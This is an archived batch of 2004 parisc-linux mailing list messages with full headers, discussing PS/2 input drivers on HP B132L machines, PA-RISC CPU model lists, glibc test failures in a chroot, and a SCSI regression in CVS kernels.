I'll try playing with the delay on the B132L as well and report back. Time
to
compile....

-Andy



From - Thu Nov 08 21:31:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Re: No PS2 keyboard/mouse on B132L, 2.6.[34]
Date: Mon, 15 Mar 2004 23:47:09 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <200403152347.09863.deller@gmx.de>
References: <25271.193.161.152.244.1078745317.squirrel@www.puszczka.com>
	<20040315084247.GJ9104@finlandia.infodrom.north.de>
	<20040315150539.GA20698@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623275 6648 80.91.229.3 (22 Nov 2014 02:27:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:55 +0000 (UTC)
Cc: Martin Schulze <joey@infodrom.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Mon Mar 15 15:47:18 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 713874857
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 Mar 2004 15:47:17 -0700 (MST)
Original-Received: (qmail 11375 invoked by uid 65534); 15 Mar 2004 22:47:15 -0000
Original-Received: from pD9040E55.dip.t-dialin.net (EHLO p100) (217.4.14.85)
	by mail.gmx.net (mp008) with SMTP; 15 Mar 2004 23:47:15 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <20040315150539.GA20698@finlandia.infodrom.north.de>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 15 Mar 2004 22:47:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21102

Thanks !

I added a new FAQ entry based on your input.

Helge

On Monday 15 March 2004 16:05, Martin Schulze wrote:
> Martin Schulze wrote:
> > Grant Grundler wrote:
> > > > Well, if you *know* that it's a PS/2 mouse and PS/2 keyboard, you're
> > > > correct.  However, does everybody know that who gets hold of a PARISC
> > > > machine fully equipped with HIL hub and stuff?  Maybe it's just me
> > > > who hasn't expected that since the old (really old) machines didn't
> > > > use pc standard equipment and since PA machines usually use different
> > > > parts.  You choose since you're more familiar with the port.
> > > 
> > > Well, maybe it would be better to make this a FAQ on the parisc-linux
> > > web site?
> > 
> > Aye!
> 
> Maybe this one is better since CONFIG_KEYBOARD_HIL and CONFIG_HIL_MLC
> aren't required.  I'm not sure about the mouse part since mine doesn't
> yet work again.
> 
> --- /tmp/work/faq.html.orig	2004-03-15 09:36:25.000000000 +0100
> +++ /tmp/work/faq.html	2004-03-15 10:44:59.000000000 +0100
> @@ -8,6 +8,27 @@
>    <li>First of all, your kernel has to be 2.4.18-pa45 or higher.<br>
>        Earlier kernel versions will not work !
>    </li>
> +
> +  <li>In the latest 2.6 kernel series, we switched from a PA-RISC-only
> +      PS/2 mouse/keyboard driver to the standard Linux kernel PS/2
> +      mouse and keyboard drivers.  Hence, in order to get your PS/2
> +      mouse/keyboard connected via HIL work you'll have to enable
> +      <ul>
> +      <li> CONFIG_KEYBOARD_ATKBD
> +      <li> CONFIG_MOUSE_PS2
> +      </ul>
> +      in addition to
> +      <ul>
> +      <li> CONFIG_INPUT_KEYBOARD
> +      <li> CONFIG_INPUT_MOUSE
> +      <li> CONFIG_MOUSE_HIL
> +      </ul>
> +      You don't need these options anymore:
> +      <ul>
> +      <li> CONFIG_KEYBOARD_HIL
> +      <li> CONFIG_HIL_MLC
> +      </ul>
> +  </li>
>    <li>On the bash prompt enter as root the following comand:<br>
>        <code>cd /dev && ./MAKEDEV input</code><br>
>        This command creates the standard input device nodes in the /dev/input/
> 
> 
> Regards,
> 
> 	Joey
> 
> -- 
> Whenever you meet yourself you're in a time loop or in front of a mirror.
> 
> Please always Cc to me when replying to me on the lists.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


From - Thu Nov 08 21:31:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [DOC] Linux 2.6.4
Date: Tue, 16 Mar 2004 11:19:17 +0100 (CET)
Lines: 35
Approved: news@gmane.org
Message-ID: <33542.193.161.152.244.1079432357.squirrel@www.puszczka.com>
References: <mnet8.1079358785.20900.pinotj@club-internet.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623275 6653 80.91.229.3 (22 Nov 2014 02:27:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:55 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: pinotj@club-internet.fr
Original-X-From: ajwalker@broadpark.no  Tue Mar 16 03:11:02 2004
Return-Path: <ajwalker@broadpark.no>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9155F4854
	for <parisc-linux@parisc-linux.org>;
	Tue, 16 Mar 2004 03:11:02 -0700 (MST)
Original-Received: from tolstoy.puszczka.com (47.80-202-73.nextgentel.com
	[80.202.73.47]) by mail.broadpark.no (Postfix) with ESMTP
	id A71F27CBA; Tue, 16 Mar 2004 11:11:00 +0100 (MET)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 8C95D82EF; Tue, 16 Mar 2004 11:19:17 +0100 (CET)
Original-Received: from 193.161.152.244 (SquirrelMail authenticated user andy)
	by www.puszczka.com with HTTP; Tue, 16 Mar 2004 11:19:17 +0100 (CET)
In-Reply-To: <mnet8.1079358785.20900.pinotj@club-internet.fr>
User-Agent: SquirrelMail/1.4.2
X-Priority: 3
Importance: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Mar 2004 10:11:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21103


> + 10. PA-RISC
> + ~~~~~~~~~~~
> +	PA7000/PA7100
> +	PA7100LC/PA7300LC	(used in 712, 715/Mirage, A180, B132, C160L)
> +	PA7200			(PCX-T' processor used in C110, D100 ...)
> +	PA8000			(PCX-U to PCX-W2 processors)
> +
> +  (see Documentation/parisc)
> +  <http://www.parisc-linux.org>
>

I'd refer you to www.openpa.net, from which the list below was
shamelessly nicked:

PA-7000         (PCX-S)
PA-7100/PA-7150 (PCX-T)
PA-7100LC       (PCX-L)
PA-7200         (PCX-T')
PA-7300LC       (PCX-L2)

PA-8000         (PCX-U)
PA-8200         (PCX-U+)
PA-8500         (PCX-W)
PA-8600         (PCX-W+)
PA-8700         (PCX-W2)

There are also lists of which models have which CPU, but there's not
much point duplicating that here.

http://www.pateam.org/list.html will give you an idea of what works
and what doesn't.

-Andy


From - Thu Nov 08 21:31:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20=09RE=3A=20New=20glibc=20patches=202004=2D03=2D08=2C=20fixes=20GLRO=20changes=2E?=
Date: Tue, 16 Mar 2004 10:43:46 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <40561E710000043C@ocpmta2.freegates.net>
References: <20040315185113.GC660@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623276 6657 80.91.229.3 (22 Nov 2014 02:27:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:56 +0000 (UTC)
Cc: James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Tue Mar 16 06:04:37 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A28548F5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Mar 2004 06:04:37 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1B3EEb-0007As-00; Tue, 16 Mar 2004 14:03:53 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 16 Mar 2004 10:43:46 +0100
In-Reply-To: <20040315185113.GC660@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Mar 2004 13:04:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21104

Hello Carlos,

Sorry for delay,...
>> 
>> On Mon, Mar 15, 2004 at 06:38:46PM +0100, Joel Soete wrote:
>> Hello Jim,
>> 
>> Sorry for confusion but you have definitely right.
>> 
>> [snip]use prefix=/usr and make  install_root=/mnt/chroot install;
>> 
>> This is the right method because if I use prefix=/mnt/chroot and 'make
install',
>> when the install was finished and I tried chroot/mnt/chroot: here was
the
>> error message:
>> chroot /mnt/chroot
>> /bin/bash: error while loading shared libraries: libncurses.so.5: cannot
>> open shared object file: No such file or directory
>> 
>> and strace shows me that it looking for libncurses.so.5 into /mnt/chroot/lib
>> :)
>> 
>> So to launch make -k check in this config, I foreseen to use prefix=/usr
>> and make install_root=/mnt/chroot; then mount -o bind /GlibcSrcFS /mnt/chroot/GlibcSrcFS;
>> chroot /mnt/chroot; and in this env launch the make -k check. Do you know
>> another solution?
>
>That sounds like a perfect solution! :)

but that way I only get know errors ie:
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-float.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-double.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-ifloat.out] Error
1
make[1]: *** [math/tests] Error 2
make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/tst-strtod.out] Error
1
make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/bug-strtod.out] Error
1
make[1]: *** [stdlib/tests] Error 2
make[2]: [/Develop/parisc-linux/build/glibc/posix/annexc.out] Error 1 (ignored)
make[2]: *** [/Develop/parisc-linux/build/glibc/elf/tst-tls13.out] Error
1
make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

(sorry I forget TIMEOUTFACTOR) :)

Very nice job Carlos.

Just still have to check more X,

Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Morrison <ja2morri@csclub.uwaterloo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: 16 Mar 2004 09:57:56 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <kfhsmg8et57.fsf@perpugilliam.csclub.uwaterloo.ca>
References: <404EC2E70000349C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623276 6662 80.91.229.3 (22 Nov 2014 02:27:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:56 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: ja2morri@csclub.uwaterloo.ca  Tue Mar 16 07:57:58 2004
Return-Path: <ja2morri@csclub.uwaterloo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from perpugilliam.csclub.uwaterloo.ca
	(perpugilliam.csclub.uwaterloo.ca [129.97.134.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC31C48F1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Mar 2004 07:57:58 -0700 (MST)
Original-Received: by perpugilliam.csclub.uwaterloo.ca (Postfix, from userid 20178)
	id 8776110B9D5; Tue, 16 Mar 2004 09:57:57 -0500 (EST)
Original-Sender: ja2morri@perpugilliam.csclub.uwaterloo.ca
In-Reply-To: <404EC2E70000349C@ocpmta2.freegates.net>
Original-Lines: 17
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Mar 2004 14:57:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21105


"Joel Soete" <soete.joel@tiscali.be> writes:

> > Are you running make check after make install?
> >
> Yes, but as mentioned in the original build env and not in the chrooted env
> as it seems I would had to do.
> 
> hth,
>     Joel

 Humm, this seems backwards to me.  I wonder if make install mangles some
variables to look at the newly installed versions of ld.so, etc.  Anyway,
I'll be quiet for a while since I don't have a build on hand to check stuff
out.

Jim


From - Thu Nov 08 21:31:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] SCSI broken in latest CVS changes
Date: Tue, 16 Mar 2004 17:17:01 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <40561E7100000AF2@ocpmta2.freegates.net>
References: <Pine.LNX.4.58.0403150256180.17258@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623276 6663 80.91.229.3 (22 Nov 2014 02:27:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:56 +0000 (UTC)
To: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Tue Mar 16 09:38:16 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E040F4879
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Mar 2004 09:38:15 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1B3HZh-0002Yq-00; Tue, 16 Mar 2004 17:37:53 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 16 Mar 2004 17:17:01 +0100
In-Reply-To: <Pine.LNX.4.58.0403150256180.17258@sal.ucc.ie>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Mar 2004 16:38:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21106

Hello Max,
> 
> Hi,
>
>I was using a linux-2.6.4-pa2 (CVS, up to and including the following patch:
>http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2004-March/033902.html)
>which was working fine.
>
>However the later/latest CVS changes obviously broke sym2 SCSI:
>It doesn't detect any of the two internal 9 GB LVD-SCSI of my C3k.
>

The same for me on b180 OTC 2.6.4-pa1 runing fine...

Do you got some news?

Thanks,
    Joel



----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI broken in latest CVS changes
Date: Tue, 16 Mar 2004 16:52:02 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20040316165202.GW25059@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.58.0403150256180.17258@sal.ucc.ie>
	<40561E7100000AF2@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623276 6668 80.91.229.3 (22 Nov 2014 02:27:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, "M. Grabert" <xam@cs.ucc.ie>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: willy@www.linux.org.uk  Tue Mar 16 09:52:04 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 28EEA487B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Mar 2004 09:52:04 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1B3HnO-0006XF-UV; Tue, 16 Mar 2004 16:52:02 +0000
Content-Disposition: inline
In-Reply-To: <40561E7100000AF2@ocpmta2.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Mar 2004 16:52:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21107

On Tue, Mar 16, 2004 at 05:17:01PM +0100, Joel Soete wrote:
> Hello Max,
> >It doesn't detect any of the two internal 9 GB LVD-SCSI of my C3k.
> 
> The same for me on b180 OTC 2.6.4-pa1 runing fine...
> 
> Do you got some news?

I got my c3k going and experienced the same problem.  I've backed out
the last two patches (Christoph's one to remove the queueing and the
dev_printk one) and it now works fine.  I've also imported 2.6.5-rc1,
so 2.6.5-rc1-pa0 should be happy happy on a c3k now.  Shout if it's not.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI broken in latest CVS changes
Date: Tue, 16 Mar 2004 19:51:48 +0000 (GMT)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0403161946550.27512@sal.ucc.ie>
References: <Pine.LNX.4.58.0403150256180.17258@sal.ucc.ie>
	<40561E7100000AF2@ocpmta2.freegates.net>
	<20040316165202.GW25059@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623277 6670 80.91.229.3 (22 Nov 2014 02:27:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: xam@cs.ucc.ie  Tue Mar 16 12:51:52 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0A604854
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Mar 2004 12:51:51 -0700 (MST)
Original-Received: from sal.ucc.ie (xam@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i2GJpm5a028246;
	Tue, 16 Mar 2004 19:51:48 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20040316165202.GW25059@parcelfarce.linux.theplanet.co.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 16 Mar 2004 19:51:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21108

On Tue, 16 Mar 2004, Matthew Wilcox wrote:

> On Tue, Mar 16, 2004 at 05:17:01PM +0100, Joel Soete wrote:
> > Hello Max,
> > >It doesn't detect any of the two internal 9 GB LVD-SCSI of my C3k.
> >
> > The same for me on b180 OTC 2.6.4-pa1 runing fine...
> >
> > Do you got some news?
>
> I got my c3k going and experienced the same problem.  I've backed out
> the last two patches (Christoph's one to remove the queueing and the
> dev_printk one) and it now works fine.  I've also imported 2.6.5-rc1,
> so 2.6.5-rc1-pa0 should be happy happy on a c3k now.  Shout if it's not.

Mhh, doesn't work for me with the latest CVS:


=== snip

  CHK     include/linux/compile.h
  UPD     include/linux/compile.h
  CC      init/version.o
  LD      init/built-in.o
  LD      .tmp_vmlinux1
drivers/built-in.o(.text.__sync_scsi_data_for_device+0x14): In function `__sync_scsi_data_for_device':
: undefined reference to `scsi_to_pci_dma_dir'
make: *** [.tmp_vmlinux1] Error 1
root@beast:/usr/src/linux#


====


Same config as 2.6.4-rc3-pa1 and 2.6.4-pa2 (before the SCSI changes),
which work fine.

BTW, I did a "make clean" before the make. Did you miss to revert a patch?


Greetings,
  Max


From - Thu Nov 08 21:31:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI broken in latest CVS changes
Date: Tue, 16 Mar 2004 12:01:21 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <20040316200121.GN2384@tausq.org>
References: <Pine.LNX.4.58.0403150256180.17258@sal.ucc.ie>
	<40561E7100000AF2@ocpmta2.freegates.net>
	<20040316165202.GW25059@parcelfarce.linux.theplanet.co.uk>
	<Pine.LNX.4.58.0403161946550.27512@sal.ucc.ie>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623277 6672 80.91.229.3 (22 Nov 2014 02:27:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:57 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: randolph@tausq.org  Tue Mar 16 13:01:19 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2E5E4854
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Mar 2004 13:01:19 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id BAB0DCD28A; Tue, 16 Mar 2004 12:01:21 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0403161946550.27512@sal.ucc.ie>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
